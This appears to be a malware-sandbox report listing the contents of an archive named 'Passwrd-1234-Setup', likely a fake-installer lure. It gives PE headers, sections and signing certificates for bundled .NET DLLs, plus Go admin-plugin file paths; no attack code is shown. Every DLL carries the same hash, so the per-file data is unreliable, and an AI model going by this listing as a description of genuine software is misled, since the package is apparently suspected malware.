IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 561KB - Virtual size: 561KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.WeatherIcons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 710KB - Virtual size: 710KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Zondicons.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 104KB - Virtual size: 104KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 39KB - Virtual size: 38KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MaterialDesignColors.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 292KB - Virtual size: 292KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/MaterialDesignThemes.Wpf.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 8.7MB - Virtual size: 8.7MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 22KB - Virtual size: 22KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.Sensors.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 41KB - Virtual size: 40KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.Shell.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 492KB - Virtual size: 491KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.ShellExtensions.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 31KB - Virtual size: 30KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 94KB - Virtual size: 93KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Newtonsoft.Json.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Code Sign

02:ac:5c:26:6a:0b:40:9b:8f:0b:79:f2:ae:46:25:77
Certificate

Issuer

CN=DigiCert High Assurance EV Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Not Before

10/11/2006, 00:00

Not After

10/11/2031, 00:00

Subject

CN=DigiCert High Assurance EV Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

07:b0:41:8d:a5:1e:14:8c:33:1b:bc:de:b7:13:83:23
Certificate

Issuer

CN=DigiCert High Assurance EV Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Not Before

27/04/2018, 12:41

Not After

27/04/2028, 12:41

Subject

CN=.NET Foundation Projects Code Signing CA,O=.NET Foundation,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

0a:71:a1:b0:c2:96:f5:c7:90:65:47:0a:3c:20:53:7e
Certificate

Issuer

CN=.NET Foundation Projects Code Signing CA,O=.NET Foundation,C=US

Not Before

25/10/2018, 00:00

Not After

29/10/2021, 12:00

Subject

SERIALNUMBER=603 389 068,CN=Json.NET (.NET Foundation),O=Json.NET (.NET Foundation),L=Redmond,ST=wa,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

Key Usages

KeyUsageDigitalSignature

0d:42:4a:e0:be:3a:88:ff:60:40:21:ce:14:00:f0:dd
Certificate

Issuer

CN=DigiCert SHA2 Assured ID Timestamping CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Not Before

01/01/2021, 00:00

Not After

06/01/2031, 00:00

Subject

CN=DigiCert Timestamp 2021,O=DigiCert\, Inc.,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature

0a:a1:25:d6:d6:32:1b:7e:41:e4:05:da:36:97:c2:15
Certificate

Issuer

CN=DigiCert Assured ID Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Not Before

07/01/2016, 12:00

Not After

07/01/2031, 12:00

Subject

CN=DigiCert SHA2 Assured ID Timestamping CA,OU=www.digicert.com,O=DigiCert Inc,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

2e:83:93:14:a9:06:f5:64:04:02:a1:dc:eb:a3:1a:a7:e9:21:c8:88:2c:dd:c2:3c:e4:c0:45:50:4c:ee:75:10
Signer

Actual PE Digest

2e:83:93:14:a9:06:f5:64:04:02:a1:dc:eb:a3:1a:a7:e9:21:c8:88:2c:dd:c2:3c:e4:c0:45:50:4c:ee:75:10

Digest Algorithm

sha256

PE Digest Matches

true

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 675KB - Virtual size: 675KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/System.CodeDom.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Code Sign

33:00:00:02:13:8c:0c:1c:31:35:bc:d2:5f:00:00:00:00:02:13
Certificate

Issuer

CN=Microsoft Code Signing PCA 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

11/02/2021, 20:09

Not After

10/02/2022, 20:09

Subject

CN=.NET,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

61:0e:90:d2:00:00:00:00:00:03
Certificate

Issuer

CN=Microsoft Root Certificate Authority 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

08/07/2011, 20:59

Not After

08/07/2026, 21:09

Subject

CN=Microsoft Code Signing PCA 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

79:ef:2e:46:66:2a:68:54:c2:e5:c7:b8:43:ea:bf:88:94:f9:21:4d:7e:c1:c6:c8:77:86:e3:d4:77:cd:ca:d5
Signer

Actual PE Digest

79:ef:2e:46:66:2a:68:54:c2:e5:c7:b8:43:ea:bf:88:94:f9:21:4d:7e:c1:c6:c8:77:86:e3:d4:77:cd:ca:d5

Digest Algorithm

sha256

PE Digest Matches

true

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 15KB - Virtual size: 15KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 2KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.Aero.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 82KB - Virtual size: 82KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.Metro.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 75KB - Virtual size: 74KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.VS2010.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 80KB - Virtual size: 79KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 436KB - Virtual size: 436KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.Toolkit.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 1.1MB - Virtual size: 1.1MB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 1KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 512B - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/engine/plugins/admin/admin.go
Passwrd-1234-Setup/engine/plugins/admin/controller/Update.go
Passwrd-1234-Setup/engine/plugins/admin/controller/api_create.go
Passwrd-1234-Setup/engine/plugins/admin/controller/api_detail.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/api_list.go
Passwrd-1234-Setup/engine/plugins/admin/controller/api_update.go
Passwrd-1234-Setup/engine/plugins/admin/controller/auth.go
Passwrd-1234-Setup/engine/plugins/admin/controller/common.go
Passwrd-1234-Setup/engine/plugins/admin/controller/common_test.go
Passwrd-1234-Setup/engine/plugins/admin/controller/delete.go
Passwrd-1234-Setup/engine/plugins/admin/controller/detail.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/edit.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/handler.go
Passwrd-1234-Setup/engine/plugins/admin/controller/install.go
Passwrd-1234-Setup/engine/plugins/admin/controller/menu.go
Passwrd-1234-Setup/engine/plugins/admin/controller/new.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/operation.go
Passwrd-1234-Setup/engine/plugins/admin/controller/plugins.go
Passwrd-1234-Setup/engine/plugins/admin/controller/plugins_tmpl.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/show.go
.js
Passwrd-1234-Setup/engine/plugins/admin/controller/system.go
Passwrd-1234-Setup/engine/plugins/admin/data/mysql/admin.sql
Passwrd-1234-Setup/engine/plugins/admin/data/sqlite/admin.db
Passwrd-1234-Setup/engine/plugins/admin/models/base.go
Passwrd-1234-Setup/engine/plugins/admin/models/menu.go
Passwrd-1234-Setup/engine/plugins/admin/models/operation_log.go
Passwrd-1234-Setup/engine/plugins/admin/models/permission.go
Passwrd-1234-Setup/engine/plugins/admin/models/role.go
Passwrd-1234-Setup/engine/plugins/admin/models/site.go
.js
Passwrd-1234-Setup/engine/plugins/admin/models/user.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/captcha/captcha.go
Passwrd-1234-Setup/engine/plugins/admin/modules/constant/constant.go
Passwrd-1234-Setup/engine/plugins/admin/modules/form/form.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/delete.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/edit.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/export.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/guard.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/menu_delete.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/menu_edit.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/menu_new.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/new.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/server_login.go
Passwrd-1234-Setup/engine/plugins/admin/modules/guard/update.go
Passwrd-1234-Setup/engine/plugins/admin/modules/helper.go
Passwrd-1234-Setup/engine/plugins/admin/modules/helper_test.go
Passwrd-1234-Setup/engine/plugins/admin/modules/paginator/paginator.go
Passwrd-1234-Setup/engine/plugins/admin/modules/paginator/paginator_test.go
Passwrd-1234-Setup/engine/plugins/admin/modules/parameter/parameter.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/parameter/parameter_test.go
Passwrd-1234-Setup/engine/plugins/admin/modules/response/response.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/table/config.go
Passwrd-1234-Setup/engine/plugins/admin/modules/table/default.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/table/default_test.go
Passwrd-1234-Setup/engine/plugins/admin/modules/table/generators.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/table/table.go
Passwrd-1234-Setup/engine/plugins/admin/modules/table/tmpl.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/table/tmpl/choose_table_ajax.tmpl
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/table/tmpl/generator.tmpl
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/tools/generator.go
.js
Passwrd-1234-Setup/engine/plugins/admin/modules/tools/template.go
Passwrd-1234-Setup/engine/plugins/admin/router.go
Passwrd-1234-Setup/engine/plugins/example/controller.go
Passwrd-1234-Setup/engine/plugins/example/example.go
Passwrd-1234-Setup/engine/plugins/example/go_plugin/Makefile
Passwrd-1234-Setup/engine/plugins/example/go_plugin/main.go
Passwrd-1234-Setup/engine/plugins/example/router.go
Passwrd-1234-Setup/engine/plugins/plugins.go
.js
Passwrd-1234-Setup/engine/plugins/plugins_test.go
Passwrd-1234-Setup/engine/plugins/starksoft.aspen.dll
.dll windows:4 windows x86

dae02f32a21e03ce65412f6e56942daa

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_NO_SEH
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

mscoree

_CorDllMain

Sections

.text
Size: 164KB - Virtual size: 161KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rsrc
Size: 4KB - Virtual size: 1KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 4KB - Virtual size: 12B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ

Sharing

General

Malware Config

Signatures

Files

86d0adb9b2e1f27df0110b9b7b25c534

Code Sign

33:00:00:01:23:30:43:8d:24:48:3c:a0:d7:00:00:00:00:01:23Certificate

Extended Key Usages

33:00:00:01:e3:7d:a3:1f:82:84:dc:e4:a1:00:02:00:00:01:e3Certificate

Extended Key Usages

61:04:35:45:00:00:00:00:00:3fCertificate

Key Usages

61:16:68:34:00:00:00:00:00:1cCertificate

Extended Key Usages

